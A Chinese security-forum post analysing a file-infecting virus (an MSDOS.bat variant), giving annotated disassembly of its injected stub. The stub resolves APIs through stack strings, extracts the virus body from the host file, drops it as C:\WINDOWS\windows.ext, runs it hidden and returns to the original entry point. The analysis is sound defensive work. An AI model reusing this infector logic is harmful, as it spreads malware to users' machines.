卡卡技术团队
- 帖子:8368
- 注册:
2006-01-09
- 来自:
|
发表于:
2008-05-03 02:48
|
显示全部
短消息
资料
回复: 感染型病毒不完全分析实例(MSDOS.bat新变种)
(2)调用LoadLibraryA和GetProcAddress函数,得到所需的API函数的地址: .WYCao:01010F73 push 0 ; 结束符.WYCao:01010F75 push 6C6C642Eh ; .dll.WYCao:01010F7A push 32336C65h ; 'el32'.WYCao:01010F7F push 6E72656Bh ; 'kern'.WYCao:01010F84 mov ecx, esp.WYCao:01010F86 push ecx.WYCao:01010F87 call dword ptr [ ebp+8] ; LoadLibraryA('kernel32.dll').WYCao:01010F8A pop ecx ; 前面4个push,这里4个pop,保持堆栈平衡.WYCao:01010F8B pop ecx.WYCao:01010F8C pop ecx.WYCao:01010F8D pop ecx.WYCao:01010F8E mov [ ebp+0Ch], eax ; kernel32.dll基址(句柄).WYCao:01010F91 push 0 .WYCao:01010F93 push 4179726Fh ; 'oryA'.WYCao:01010F98 push 74636572h ; 'rect'.WYCao:01010F9D push 69447377h ; 'wsDi'.WYCao:01010FA2 push 6F646E69h ; 'indo'.WYCao:01010FA7 push 57746547h ; 'GetW'.WYCao:01010FAC mov ecx, esp.WYCao:01010FAE push ecx.WYCao:01010FAF push dword ptr [ ebp+0Ch] ; kernel32.dll基址.WYCao:01010FB2 call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'GetWindowsDirectoryA').WYCao:01010FB5 pop ecx.WYCao:01010FB6 pop ecx.WYCao:01010FB7 pop ecx.WYCao:01010FB8 pop ecx.WYCao:01010FB9 pop ecx.WYCao:01010FBA pop ecx.WYCao:01010FBB mov [ ebp+10h], eax ; kernel32.dll!GetWindowsDirectoryA.WYCao:01010FBE push 41656Ch .WYCao:01010FC3 push 69466574h .WYCao:01010FC8 push 61657243h .WYCao:01010FCD mov ecx, esp.WYCao:01010FCF push ecx.WYCao:01010FD0 push dword ptr [ ebp+0Ch] .WYCao:01010FD3 call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'CreateFileA').WYCao:01010FD6 pop ecx.WYCao:01010FD7 pop ecx.WYCao:01010FD8 pop ecx.WYCao:01010FD9 mov [ ebp+14h], eax ; kernel32.dll!CreateFileA.WYCao:01010FDC push 656C64h .WYCao:01010FE1 push 6E614865h .WYCao:01010FE6 push 736F6C43h .WYCao:01010FEB mov ecx, esp.WYCao:01010FED push ecx.WYCao:01010FEE push dword ptr [ ebp+0Ch] .WYCao:01010FF1 call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'CloseHandle').WYCao:01010FF4 pop ecx.WYCao:01010FF5 pop ecx.WYCao:01010FF6 pop ecx.WYCao:01010FF7 mov [ ebp+18h], eax ; kernel32.dll!CloseHandle.WYCao:01010FFA push 0 .WYCao:01010FFC push 656C6946h .WYCao:01011001 push 64616552h .WYCao:01011006 mov ecx, esp.WYCao:01011008 push ecx.WYCao:01011009 push dword ptr [ ebp+0Ch] .WYCao:0101100C call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'ReadFile').WYCao:0101100F pop ecx.WYCao:01011010 pop ecx.WYCao:01011011 pop ecx.WYCao:01011012 mov [ ebp+1Ch], eax ; kernel32.dll!ReadFile.WYCao:01011015 push 65h .WYCao:01011017 push 6C694665h .WYCao:0101101C push 74697257h .WYCao:01011021 mov ecx, esp.WYCao:01011023 push ecx.WYCao:01011024 push dword ptr [ ebp+0Ch] .WYCao:01011027 call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'WriteFile').WYCao:0101102A pop ecx.WYCao:0101102B pop ecx.WYCao:0101102C pop ecx.WYCao:0101102D mov [ ebp+20h], eax.WYCao:01011030 push 7265h .WYCao:01011035 push 746E696Fh .WYCao:0101103A push 50656C69h .WYCao:0101103F push 46746553h .WYCao:01011044 mov ecx, esp.WYCao:01011046 push ecx.WYCao:01011047 push dword ptr [ ebp+0Ch] .WYCao:0101104A call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'SetFilePointer').WYCao:0101104D pop ecx.WYCao:0101104E pop ecx.WYCao:0101104F pop ecx.WYCao:01011050 pop ecx.WYCao:01011051 mov [ ebp+24h], eax ; kernel32.dll!SetFilePointer.WYCao:01011054 push 636F6Ch .WYCao:01011059 push 6C416C61h .WYCao:0101105E push 626F6C47h .WYCao:01011063 mov ecx, esp.WYCao:01011065 push ecx.WYCao:01011066 push dword ptr [ ebp+0Ch] .WYCao:01011069 call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'GlobalAlloc').WYCao:0101106C pop ecx.WYCao:0101106D pop ecx.WYCao:0101106E pop ecx.WYCao:0101106F mov [ ebp+28h], eax ; kernel32.dll!GlobalAlloc.WYCao:01011072 push 6565h .WYCao:01011077 push 72466C61h .WYCao:0101107C push 626F6C47h .WYCao:01011081 mov ecx, esp.WYCao:01011083 push ecx.WYCao:01011084 push dword ptr [ ebp+0Ch] .WYCao:01011087 call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'GlobalFree').WYCao:0101108A pop ecx.WYCao:0101108B pop ecx.WYCao:0101108C pop ecx.WYCao:0101108D mov [ ebp+2Ch], eax ; kernel32.dll!GlobalFree.WYCao:01011090 push 4165h .WYCao:01011095 push 6D614E65h .WYCao:0101109A push 6C694665h .WYCao:0101109F push 6C75646Fh .WYCao:010110A4 push 4D746547h .WYCao:010110A9 mov ecx, esp.WYCao:010110AB push ecx.WYCao:010110AC push dword ptr [ ebp+0Ch] .WYCao:010110AF call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'GetModuleFileNameA').WYCao:010110B2 pop ecx.WYCao:010110B3 pop ecx.WYCao:010110B4 pop ecx.WYCao:010110B5 pop ecx.WYCao:010110B6 pop ecx.WYCao:010110B7 mov [ ebp+30h], eax ; kernel32.dll!GetModuleFileNameA.WYCao:010110BA push 636578h .WYCao:010110BF push 456E6957h .WYCao:010110C4 mov ecx, esp.WYCao:010110C6 push ecx.WYCao:010110C7 push dword ptr [ ebp+0Ch] .WYCao:010110CA call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'WinExec').WYCao:010110CD pop ecx.WYCao:010110CE pop ecx.WYCao:010110CF mov [ ebp+34h], eax ; kernel32.dll!WinExec.WYCao:010110D2 push 0 .WYCao:010110D4 push 41746163h .WYCao:010110D9 push 7274736Ch .WYCao:010110DE mov ecx, esp.WYCao:010110E0 push ecx.WYCao:010110E1 push dword ptr [ ebp+0Ch] .WYCao:010110E4 call dword ptr [ ebp+4] ; GetProcAddress(kernel32.dll,'lstrcatA').WYCao:010110E7 pop ecx.WYCao:010110E8 pop ecx.WYCao:010110E9 pop ecx.WYCao:010110EA mov [ ebp+48h], eax ; kernel32.dll!lstrcatA(3)实际动作: 从自身文件中读出病毒主体的内容,写入新创建的windows.ext文件,并运行之,最后跳回原入口点。 .WYCao:010110ED push 12Ch .WYCao:010110F2 push 40h .WYCao:010110F4 call dword ptr [ ebp+28h] ; GlobalAlloc(GPTR,0x12c).WYCao:010110F7 mov [ ebp+38h], eax ; 申请到的内存空间首地址lpFileName.WYCao:010110FA push 12Ch .WYCao:010110FF push dword ptr [ ebp+38h] .WYCao:01011102 push 0 .WYCao:01011104 call dword ptr [ ebp+30h] ; GetModuleFileName(0,lpFileName,0x12c).WYCao:01011107 push 0 .WYCao:01011109 push 80h .WYCao:0101110E push 3 .WYCao:01011110 push 0 .WYCao:01011112 push 1 .WYCao:01011114 push 1 .WYCao:01011116 push dword ptr [ ebp+38h] .WYCao:01011119 call dword ptr [ ebp+14h] ; CreateFileA(lpFileName,1,FILE_SHARE_READ,NULL,OPEN_EXISTING,NORMAL,NULL).WYCao:0101111C mov [ ebp+3Ch], eax ; 自身文件句柄hfile.WYCao:0101111F push 0 .WYCao:01011121 push 0 .WYCao:01011123 push 0D9CEh .WYCao:01011128 push dword ptr [ ebp+3Ch] .WYCao:0101112B call dword ptr [ ebp+24h] ; SetFilePointer(hfile,0xD9CE,NULL,FILE_BEGIN).WYCao:0101112E push 9000h .WYCao:01011133 push 40h .WYCao:01011135 call dword ptr [ ebp+28h] ; GlobalAlloc(GPTR,0x9000).WYCao:01011138 mov [ ebp+40h], eax ; 申请的内存空间首地址hmem.WYCao:0101113B lea ecx, [ ebp+44h] .WYCao:0101113E push 0 .WYCao:01011140 push ecx.WYCao:01011141 push 9000h .WYCao:01011146 push dword ptr [ ebp+40h] .WYCao:01011149 push dword ptr [ ebp+3Ch] .WYCao:0101114C call dword ptr [ ebp+1Ch] ; ReadFile(hfile,hmem,0x9000,ebp+44,0).WYCao:0101114C ; 将自身文件自0xD9CE开头始的0x9000处的内容(即病毒主体内容)读入内存.WYCao:0101114F push dword ptr [ ebp+3Ch] .WYCao:01011152 call dword ptr [ ebp+18h] ; CloseHandle(hfile).WYCao:01011155 push 12Ch .WYCao:0101115A push dword ptr [ ebp+38h] .WYCao:0101115D call dword ptr [ ebp+10h] ; GetWindowsDirectoryA(lpFileName,0x12c).WYCao:0101115D ; 得到系统WINDOWS文件夹路径.WYCao:01011160 push 0 .WYCao:01011162 push 7478652Eh .WYCao:01011167 push 73776F64h .WYCao:0101116C push 6E69775Ch .WYCao:01011171 mov ecx, esp.WYCao:01011173 push ecx.WYCao:01011174 push dword ptr [ ebp+38h] .WYCao:01011177 call dword ptr [ ebp+48h] ; lstrcat(lpFileName,'\windows.ext').WYCao:01011177 ; 在得到的路径后面加入'\windows.ext'.WYCao:0101117A pop ecx.WYCao:0101117B pop ecx.WYCao:0101117C pop ecx.WYCao:0101117D pop ecx.WYCao:0101117E push 0 .WYCao:01011180 push 80h .WYCao:01011185 push 2 .WYCao:01011187 push 0 .WYCao:01011189 push 2 .WYCao:0101118B push 2 .WYCao:0101118D push dword ptr [ ebp+38h] .WYCao:01011190 call dword ptr [ ebp+14h] ; CreateFileA(lpFileName,2,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,NORMAL,NULL).WYCao:01011190 ; 此时lpFileName为'C:\WINDOWS\windows.ext'.WYCao:01011190 ; 创建文件.WYCao:01011193 mov [ ebp+3Ch], eax ; hfile(此时为windows.ext的句柄).WYCao:01011196 lea ecx, [ ebp+44h] .WYCao:01011199 push 0 .WYCao:0101119B push ecx.WYCao:0101119C push 9000h .WYCao:010111A1 push dword ptr [ ebp+40h] .WYCao:010111A4 push dword ptr [ ebp+3Ch] .WYCao:010111A7 call dword ptr [ ebp+20h] ; WriteFile(hfile,hmem,0x9000,ebp+44,0).WYCao:010111AA push dword ptr [ ebp+3Ch] .WYCao:010111AD call dword ptr [ ebp+18h] ; CloseHandle(hfile).WYCao:010111B0 push 5 .WYCao:010111B2 push dword ptr [ ebp+38h] .WYCao:010111B5 call dword ptr [ ebp+34h] ; WinExec(lpFileName,SW_HIDE).WYCao:010111B5 ; 运行被写入的windows.ext,隐藏程序窗口.WYCao:010111B8 push dword ptr [ ebp+38h] .WYCao:010111BB call dword ptr [ ebp+2Ch] ; GlobalFree(lpFileName).WYCao:010111BE push dword ptr [ ebp+40h] .WYCao:010111C1 call dword ptr [ ebp+2Ch] ; GlobalFree(hmem).WYCao:010111C4 add esp, 48h ; 平栈.WYCao:010111C7 mov ecx, offset sub_1005438 ; 原程序入口点.WYCao:010111CC jmp ecx ; 跳入原程序入口点
|